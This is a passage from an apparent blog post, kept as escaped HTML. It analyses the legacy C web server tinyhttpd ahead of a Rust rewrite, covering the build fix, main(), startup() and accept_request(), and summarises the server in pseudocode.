{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        error_die(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;accept&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Commented out in order to build on Linux&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* if (pthread_create(&amp;amp;newthread , NULL, (void *)accept_request, (void *)&amp;amp;client_sock) != 0)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;        perror(&amp;#34;pthread_create&amp;#34;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;    */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, we need to get POSIX threads working to make this app run properly. (Note that this problem isn&amp;rsquo;t an uncommon one when looking at legacy apps; there is often not a good set of build instructions.)&lt;/p&gt;&#xA;&lt;p&gt;In our case, luckily, this is easy: just revert the commenting and change &lt;code&gt;-lpthread&lt;/code&gt; in the Makefile to&lt;code&gt; -pthread&lt;/code&gt;, as mentioned &lt;a href=&#34;http://man7.org/linux/man-pages/man3/pthread_create.3.html&#34;&gt;on the manual page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/8e938ec4943fc859d8bd7eff0dafd13c7a23b168&#34;&gt;Doing this&lt;/a&gt; allows the app to build and run correctly, binding to port 9999. When I open localhost:9999 in my web browser, I get a page back. Success!&lt;/p&gt;&#xA;&lt;p&gt;Now that we have a compiling and running version of the legacy tinyhttpd, it&amp;rsquo;s time to go through the source code. Luckily for us, tinyhttpd is entirely contained in a single file. Let&amp;rsquo;s start off with the top:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* J. David&amp;#39;s webserver */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* This is a simple webserver.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * Created November 1999 by J. David Blackstone.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * CSE 4344 (Network concepts), Prof. Zeigler&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * University of Texas at Arlington&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* This program compiles for Sparc Solaris 2.6.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * To compile for Linux:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 1) Comment out the #include &amp;lt;pthread.h&amp;gt; line.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 2) Comment out the line that defines the variable newthread.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 3) Comment out the two lines that run pthread_create().&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 4) Uncomment the line that runs accept_request().&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * 5) Remove -lsocket from the Makefile.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here is some information which will often be included in legacy programs - some short information about the author and purpose of the program, and some (in this case out of date and inaccurate) information about building and running the program. &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/185a968f0f1307968ada452e86f17f1e23b72225&#34;&gt;Removing the misleading lines&lt;/a&gt; makes this section a lot more concise and is probably a good idea.&lt;/p&gt;&#xA;&lt;p&gt;Skipping the &lt;code&gt;#include&lt;/code&gt;s, which aren&amp;rsquo;t very helpful in this case, we find two &lt;code&gt;#define&lt;/code&gt; statements:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#define ISspace(x) isspace((int)(x))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#008080&#34;&gt;#define SERVER_STRING &amp;#34;Server: jdbhttpd/0.1.0\r\n&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;SERVER_STRING&lt;/code&gt; definition is pretty straightforward; it&amp;rsquo;s an identifier of the software, which will be sent to clients. In our version, I would prefer to not include the &lt;code&gt;\r\n&lt;/code&gt; terminator in the definition itself. As to the &lt;code&gt;ISspace&lt;/code&gt; definition, though, I&amp;rsquo;m not immediately sure. A quick search of the source shows no definition of a function &lt;code&gt;isspace&lt;/code&gt; taking an integer, so it&amp;rsquo;s probably coming from one of the includes.&lt;/p&gt;&#xA;&lt;p&gt;If this program had multiple files, I&amp;rsquo;d search through them next; but, as there are none, I&amp;rsquo;m going straight to the Internet. &lt;a href=&#34;http://www.tutorialspoint.com/c_standard_library/c_function_isspace.htm&#34;&gt;Turns out&lt;/a&gt;, it does just what you&amp;rsquo;d expect - it checks if a given integer represents whitespace or not. This definition simply allows calling it directly on &lt;code&gt;char&lt;/code&gt; values without writing out an explicit cast every time. I&amp;rsquo;ve &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/7c9fe4d96e1735fa3e12c941f01f0da968ac4e66&#34;&gt;made a note of this&lt;/a&gt; in my analysis documents.&lt;/p&gt;&#xA;&lt;p&gt;After the head macros, we can see explicit definitions of all the functions used in the program.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;void accept_request(void *);&#xA;void bad_request(int);&#xA;void cat(int, FILE *);&#xA;void cannot_execute(int);&#xA;void error_die(const char *);&#xA;void execute_cgi(int, const char *, const char *, const char *);&#xA;int get_line(int, char *, int);&#xA;void headers(int, const char *);&#xA;void not_found(int);&#xA;void serve_file(int, const char *);&#xA;int startup(u_short *);&#xA;void unimplemented(int);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Because they have no comments, these definitions are not particularly useful, so let&amp;rsquo;s go down to the bottom of the page and look at which functions are called in the program&amp;rsquo;s entry function, &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;void&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; server_sock = -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; client_sock = -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    u_short port = &lt;span style=&#34;color:#00f&#34;&gt;9999&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; sockaddr_in client_name;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;socklen_t&lt;/span&gt; client_name_len = &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;sizeof&lt;/span&gt;(client_name);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;pthread_t&lt;/span&gt; newthread;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    signal(SIGPIPE, SIG_IGN);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server_sock = startup(&amp;amp;port);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;httpd running on port %d&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;&lt;/span&gt;, port);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        client_sock = accept(server_sock, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; sockaddr *)&amp;amp;client_name, &amp;amp;client_name_len);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (client_sock == -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            error_die(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;accept&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (pthread_create(&amp;amp;newthread , NULL, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;void&lt;/span&gt; *)accept_request, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;void&lt;/span&gt; *)&amp;amp;client_sock) != &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            perror(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;pthread_create&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    close(server_sock);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s break this down further. This function takes void, meaning that the program has no arguments or command line options. This probably means it&amp;rsquo;s not very customizable, something I&amp;rsquo;d like to change in the rewritten version.&lt;/p&gt;&#xA;&lt;p&gt;After the function signature come the definitions of some local variables: &lt;code&gt;server_sock&lt;/code&gt; and &lt;code&gt;client_sock&lt;/code&gt;, &lt;code&gt;port&lt;/code&gt;, &lt;code&gt;client_name&lt;/code&gt;, &lt;code&gt;client_name_len&lt;/code&gt;, and &lt;code&gt;newthread&lt;/code&gt;. &lt;code&gt;server_sock&lt;/code&gt; and &lt;code&gt;client_sock&lt;/code&gt; are just &lt;code&gt;int&lt;/code&gt;s, but they represent file handles, as we&amp;rsquo;ll see in a moment. &lt;code&gt;port&lt;/code&gt; is clearly a port number. &lt;code&gt;client_name&lt;/code&gt; is the address of the client, and &lt;code&gt;client_name_len&lt;/code&gt; is its length.&lt;/p&gt;&#xA;&lt;p&gt;Below that, the program uses &lt;code&gt;signal()&lt;/code&gt; to ignore &lt;code&gt;SIGPIPE&lt;/code&gt;, the signal that programs receive when they write to a file handle which has been closed. It seems to me that this should be handled more appropriately in the rewrite.&lt;/p&gt;&#xA;&lt;p&gt;Immediately afterward, the &lt;code&gt;server_sock&lt;/code&gt; variable is filled by the result of the function &lt;code&gt;startup&lt;/code&gt;, which is given a pointer to the port number. This seems odd to me - why does it need a reference and not just the value? - so I look at that function&amp;rsquo;s definition. It is commented with:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/**********************************************************************/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* This function starts the process of listening for web connections&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * on a specified port. If the port is 0, then dynamically allocate a&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * port and modify the original port variable to reflect the actual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * port.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * Parameters: pointer to variable containing the port to connect on&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * Returns: the socket */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/**********************************************************************/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That makes more sense now - it allows dynamically generating a port number. That&amp;rsquo;s useful, but the functionality isn&amp;rsquo;t exposed through the command line interface, which is annoying. In our program, I&amp;rsquo;d like to expose that, and I&amp;rsquo;d also like to move away from the C convention of modifying inputs. In the rewrite, I think I&amp;rsquo;ll return a tuple. Since this is a fairly complex idea, I&amp;rsquo;ll take this time to &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/c76164487b6f82403e9f179f1a8092fdf3ab9232&#34;&gt;write some notes down&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s enough to understand a bit more about &lt;code&gt;main&lt;/code&gt;. After a simple status message, the program moves on to the main loop:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    client_sock = accept(server_sock, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;struct&lt;/span&gt; sockaddr *)&amp;amp;client_name, &amp;amp;client_name_len);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (client_sock == -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        error_die(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;accept&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (pthread_create(&amp;amp;newthread , NULL, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;void&lt;/span&gt; *)accept_request, (&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;void&lt;/span&gt; *)&amp;amp;client_sock) != &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        perror(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;pthread_create&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This is an infinite loop which accepts a connection, as can be seen if we look up &lt;code&gt;accept()&lt;/code&gt;, which is where &lt;code&gt;client_sock&lt;/code&gt; gets its value. It returns a file handle representing the socket. It returns -1 if it fails for some reason, and the next few lines check for that eventuality. This is another suboptimal design imposed by C&amp;rsquo;s lack of algebraic data types - in Rust, this idea can be represented with an &lt;code&gt;Option&lt;/code&gt; or a &lt;code&gt;Result&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The next few lines try (and handle errors for) spawning a new thread that runs &lt;code&gt;accept_request&lt;/code&gt;. Looking at the comments here is not quite as illuminating as one might hope:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/**********************************************************************/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/* A request has caused a call to accept() on the server port to&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * return. Process the request appropriately.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt; * Parameters: the socket connected to the client */&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#080;font-style:italic&#34;&gt;/**********************************************************************/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;m not really sure what processing the request &amp;ldquo;appropriately&amp;rdquo; entails. For now, though, it&amp;rsquo;s enough to know that this is the main function for dealing with incoming requests.&lt;/p&gt;&#xA;&lt;p&gt;The only code after this is cleanup code we won&amp;rsquo;t need in the rewrite, so we have enough info to &lt;a href=&#34;https://github.com/noracodes/rtinyhttpd/commit/58d96df64f7d015d80853952c8f77cf851d1eee5&#34;&gt;write a short pseudocode summary&lt;/a&gt; of the server:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Open and configure a server socket&#xA;&#xA;Until the process is terminated:&#xA;     Wait for a client to request a connection&#xA;     Try to open a connection with that client&#xA;     Open a new thread to deal with that connection&amp;#39;s request&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&amp;rsquo;s a lot simpler than one might have imagined from the length of this post, and it doesn&amp;rsquo;t tell us much about the actual functionality of the server, but it gives you a good idea of the process one often has to go through to understand legacy code.&lt;/p&gt;&#xA;&lt;p&gt;Now that we have examined the basic structure of the server&amp;rsquo;s execution, I&amp;rsquo;m going to dive into the actual functionality and logic of the server, which is encapsulated primarily in the function &lt;code&gt;accept_request&lt;/code&gt;, whose signature is &lt;code&gt;void accept_request(void *arg)&lt;/code&gt;. This is a signature that is totally unrevealing, and which in Rust would require an unsafe block; this function takes a raw pointer with no type information at all. We&amp;rsquo;ll have to do quite a bit of work to understand what the function actually does.&lt;/p&gt;&#xA;&lt;p&gt;First of all, are there any clues about what the argument might represent? Well, we can look back at how the function is called:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;pthread_create(&amp;amp;newthread , NULL, (void *)accept_request, (void *)&amp;amp;client_sock)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is a little complicated, but essentially a new thread is being spawned which will execute &lt;code&gt;accept_request(&amp;amp;client_sock)&lt;/code&gt;. This is the only place this function is called, so the argument is presumably expected to be only a pointer to an integer file descriptor to a socket - but the compiler knows none of that! That&amp;rsquo;s a lot of unchecked assumptions and unsafe memory access. Rust, and more importantly the Rust standard library, has better invariant checking, which will make the re-implementation a great deal safer and thus easier to extend.&lt;/p&gt;&#xA;&lt;p&gt;Moving on to the body of the function, we see the creation of a lot of local variables which I&amp;rsquo;ll go into as they&amp;rsquo;re used. It is important to note, though, that there is a group of buffers created with absolute lengths. These appear, at first glance, to be possible introduction points for overflow vulnerabilities - something that is mitigated by the Rust idiom of defaulting to using &lt;code&gt;Vec&lt;/code&gt;s instead of arrays.&lt;/p&gt;&#xA;&lt;p&gt;One of these buffers, of length 1024, is populated using the function &lt;code&gt;get_line&lt;/code&gt;, which, according to the comments above its definition, reads a line into a buffer and null-terminates it, with length checking, and returns the number of bytes stored. That buffer is printed and dissected over the course of the next 90 lines or so.&lt;/p&gt;&#xA;&lt;p&gt;Now that it&amp;rsquo;s clear how I dissect each line of code, I&amp;rsquo;m going to move a bit faster, translating the entire program into pseudocode function by function. What we currently have is this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Open and configure a server socket&#xA;&#xA;Until the process is terminated:&#xA; Wait for a client to request a connection&#xA; Try to open a connection with that client&#xA; Open a new thread to deal with that connection&amp;#39;s request&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And we&amp;rsquo;re examining the idea of &amp;ldquo;dealing with the client&amp;rdquo;. This is all done in the &lt;code&gt;accept_connection&lt;/code&gt; function, whose pseudocode looks a bit like this:&lt;/p&gt;&#xA;&lt;pre 